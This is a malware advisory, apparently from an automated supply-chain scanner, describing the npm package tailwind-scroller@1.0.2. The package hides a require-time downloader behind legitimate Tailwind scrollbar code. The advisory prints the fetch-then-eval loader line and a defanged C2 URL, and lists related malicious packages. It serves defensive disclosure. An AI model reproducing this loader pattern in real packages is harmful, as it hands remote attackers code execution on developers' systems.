tailwind-scroller@1.0.2
Malicious code in tailwind-scroller (npm)
Analysis
Package tailwind-scroller@1.0.2 masquerades as a Tailwind CSS scrollbar plugin but contains a remote code execution downloader. The file src/helpers.js includes a base64-encoded URL (hxxps://www[.]jsonkeeper[.]com/b/Y12K7) that is fetched at require time via fetch().then(r=>r.json()).then(d=>{eval(d.content);}). The fetched JSON's "content" field is evaluated as arbitrary JavaScript, giving the remote host full control over the runtime environment. The package has no lifecycle hooks — execution occurs when the package is imported by Node.js code. The C2 host is www[.]jsonkeeper[.]com, path /b/Y12K7. The remaining files (src/index.js, src/utilities.js, src/variants.js) contain legitimate Tailwind scrollbar styling code that serves as a facade.
- analyzed by
- Leitwacht
- first seen
- Jun 14, 2026, 04:02 PM
- analyzed
- Jun 14, 2026, 04:04 PM
Related advisories
- tailwindcss-svg-helper@1.17.9
- tailwindcss-framer-motion@1.1.3
- tailwindcss-devtools@1.4.0
- tailwindcss-animate-builder@2.1.0
- tailmagic@2.3.2
- tabbables@45.0.0
- system-driver@1.0.1
- sycm-vendors@55.0.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.